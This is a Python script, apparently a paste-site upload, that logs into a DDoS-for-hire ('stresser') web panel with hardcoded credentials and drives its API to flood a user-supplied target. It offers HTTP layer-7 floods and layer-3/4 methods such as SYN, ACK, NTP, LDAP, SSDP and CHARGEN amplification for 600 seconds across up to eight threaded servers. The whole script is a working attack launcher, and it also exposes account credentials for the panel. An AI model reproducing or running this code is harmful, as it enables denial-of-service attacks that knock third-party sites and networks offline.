import requests, time
from time import sleep
from threading import Thread
import colorama
colorama.init()
red = "\033[1;31m"
error = "\033[30;41m"
end = "\033[0;0m"
green = "\033[1;42m"
print(' / __) | ')
time.sleep(0.2)
print('| |__| | ___ _ _ _ ____ ____ ____ ___ ____ ____ ')
time.sleep(0.2)
print('| __) |/ _ \| | | | | _ \ / _ |/ ___)___)/ _ )/ ___)')
time.sleep(0.2)
print('| | | | |_| | | | | | | | ( ( | | | |___ ( (/ /| | ')
time.sleep(0.2)
print('|_| |_|\___/ \____| | ||_/ \_||_|_| (___/ \____)_| ')
class run(Thread):
"""
A threading example
"""
def __init__(self, name,url):
"""Инициализация потока"""
Thread.__init__(self)
self.name = name
self.url = url
def run(self):
"""Запуск потока"""
s = requests.Session()
s.get(url="https://stressit.club/panel/login.php")
auth = s.post(url="https://stressit.club/panel/login.php",
data={"login-username": "Xeonka", "login-password": "12Xeonka12","doLogin":""})
if(auth.status_code==200):
stime=0
if(time.time()-stime>=253):
stime=time.time()
res = s.get(url=self.url)
sleep(5)
else:
print("\nFailed to run on one of the servers")
if __name__ == '__main__':
print(red + "Target: " + end)
to_attack = input()
to_port = ""
to_servers = 1
to_method = ""
seconds = 600
max_server_l4 = 4
max_server_l7 = 8
type_attck = "l4"
url = ""
if to_attack.startswith("http"):
type_attck = "l7"
to_servers = int(input("\nSelecting servers(1-8): \n"))
url = "https://stressit.club/panel/includes/ajax/hub.php?type=startl7&host="+to_attack+"&port=80&time=600&method=storm&concurrents=1&reqmethod=GET&reqmode=http&post=false&cookies=false&referer=false&origin=undefined&bypassl7=false&reload=75"
else:
to_port = input("Port: \n")
to_servers = int(input("Selecting servers(1-8): \n"))
methods = {1:"ACK",2:"CHARGEN",3:"ESP",4:"GRE",5:"LDAP",6:"NTP",7:"RAND",8:"SSDP",9:"SYN",10:"UDP-RAND",11:"WSD"}
method = int(input("Выбери метод:\nL3:\n\t1. ACK\n\t2. CHARGEN\n\t3. ESP\nL4:\n\t4. GRE\n\t5. LDAP\n\t6. NTP\n\t7. RAND\n\t8. SSDP\n\t9. SYN\n\t10. UDP-RAND\n\t11. WSD\n(1-11):"))
url="https://stressit.club/panel/includes/ajax/hub.php?type=startl4&host="+to_attack+"&port="+to_port+"&time=600&method="+methods[method]+"&concurrents=1"
for i in range(to_servers):
name = "Поток %s" % (i+1)
thread = run(name,url)
thread.start()
print(green + "\nworking hard" + end)
{"html5":"htmlmixed","css":"css","javascript":"javascript","php":"php","python":"python","ruby":"ruby","lua":"text\/x-lua","bash":"text\/x-sh","go":"go","c":"text\/x-csrc","cpp":"text\/x-c++src","diff":"diff","latex":"stex","sql":"sql","xml":"xml","apl":"apl","asterisk":"asterisk","c_loadrunner":"text\/x-csrc","c_mac":"text\/x-csrc","coffeescript":"text\/x-coffeescript","csharp":"text\/x-csharp","d":"d","ecmascript":"javascript","erlang":"erlang","groovy":"text\/x-groovy","haskell":"text\/x-haskell","haxe":"text\/x-haxe","html4strict":"htmlmixed","java":"text\/x-java","java5":"text\/x-java","jquery":"javascript","mirc":"mirc","mysql":"sql","ocaml":"text\/x-ocaml","pascal":"text\/x-pascal","perl":"perl","perl6":"perl","plsql":"sql","properties":"text\/x-properties","q":"text\/x-q","scala":"scala","scheme":"text\/x-scheme","tcl":"text\/x-tcl","vb":"text\/x-vb","verilog":"text\/x-verilog","yaml":"text\/x-yaml","z80":"text\/x-z80"}